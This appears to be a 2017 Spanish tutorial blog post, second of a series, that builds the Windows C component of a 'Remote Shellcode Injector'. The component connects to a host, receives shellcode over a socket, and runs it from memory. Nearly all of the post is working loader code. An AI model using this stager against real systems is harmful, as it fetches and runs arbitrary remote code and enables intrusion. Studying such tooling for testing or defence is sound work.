5 may 2017

Ya puedes descargar desde Github nuestra tool "Remote Shellcode Injector". II de III

Buenas a todos, en el post vamos a continuar con la cadena  de artículos en la que estamos viendo desde 0 como desarrollar un programa en ANSI C, que nos permita ejecutar remotamente una shellcode cualquiera a través de una arquitectura cliente-servidor.

En el pasado artículo de la cadena aprendimos a desarrollar un pequeño cliente, que se encargaba de enviar a otra máquina una shellcode para que la ejecutase y la cargase en memoria. Hoy veremos como desarrollar el servidor, que acepte esa shellcode y la cargue en memoria.

Como veréis, ambos programas compartirán porciones de código, por lo que serán pocas las líneas que deberemos incluir, facilitándonos así su comprensión.

Programación

En primer lugar incluiremos las librerías necesarias. Al igual que en el cliente, necesitaremos cargar winsocks.h para poder trabajar con sockets.
Tras ello declararemos unas variables predefinidas con el tamaño del buffer y el puerto utilizado para la conexión, así como las variables de tipo cadena que utilizaremos para almacenar los buffers para el envío y recibimiento de datos:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock.h>
#include <string.h>
#include <conio.h>
#include <time.h>
#define MAXBUFLEN 512
#define PORT 4950
char SendBuff[MAXBUFLEN],RecvBuff[MAXBUFLEN];
A continuación añadiremos una función que recibirá como argumento la shellcode, y la cargará en memoria:
void x(char * RecvBuff){((void(*)(void)){RecvBuff})();}
Tras la función maestra de este programa, crearemos las estructuras para trabajar con los sockets e inicializaremos la DLL de sockets:
WSADATA wsaData;
 SOCKET conn_socket;
 struct sockaddr_in server;
 struct hostent *hp;
 int resp;
 resp=WSAStartup(MAKEWORD(1,0),&wsaData);
 if(resp){return -1;}
El paso siguiente será obtener la dirección IP. En nuestra caso os recordamos que lo hemos situado en “localhost” para hacer pruebas en local:
hp=(struct hostent *)gethostbyname("localhost");
 if(!hp){WSACleanup();return WSAGetLastError();}
Ahora procederemos a crear el socket:
conn_socket=socket(AF_INET,SOCK_STREAM, 0);
 if(conn_socket==INVALID_SOCKET) {WSACleanup();return WSAGetLastError();}
 memset(&server, 0, sizeof(server)) ;
 memcpy(&server.sin_addr, hp->h_addr, hp->h_length);
 server.sin_family = hp->h_addrtype;
 server.sin_port = htons(PORT);
Después realizaremos la conexión con el servidor y copiaremos en la variable SendBuff el texto a enviar:
// Conexion servidor
 if(connect(conn_socket,(struct sockaddr *)&server,sizeof(server))==SOCKET_ERROR)
 {
 closesocket(conn_socket);
 WSACleanup();
 getchar();
 return WSAGetLastError();
 }
 strcpy(SendBuff,"1- Enviame la Shellcode");
Ahora abriremos la comunicación con el cliente solicitándole la shellcode. Para ello enviaremos un mensaje cualquiera. A continuación recogeremos la shellcode que nos envíe el cliente y cerramos el socket:
send(conn_socket,SendBuff,sizeof(SendBuff),0);
 recv(conn_socket,RecvBuff, sizeof(RecvBuff), 0);
 closesocket(conn_socket);
 WSACleanup();
Ya tenemos la shellcode en la variable RecvBuff, ahora solo nos queda pasársela a la función "x" para cargarla en memoria:
//Ejecucion Shellcode
x(RecvBuff);
Código completo del servidor



Eso es todo por hoy, ya tenéis las dos partes del programa para poder practicar.

En el próximo post haremos varias pruebas con nuestro programa, y ejecutaremos vuestra primera shellcode de ejemplo.

Saludos!

No hay comentarios:

Publicar un comentario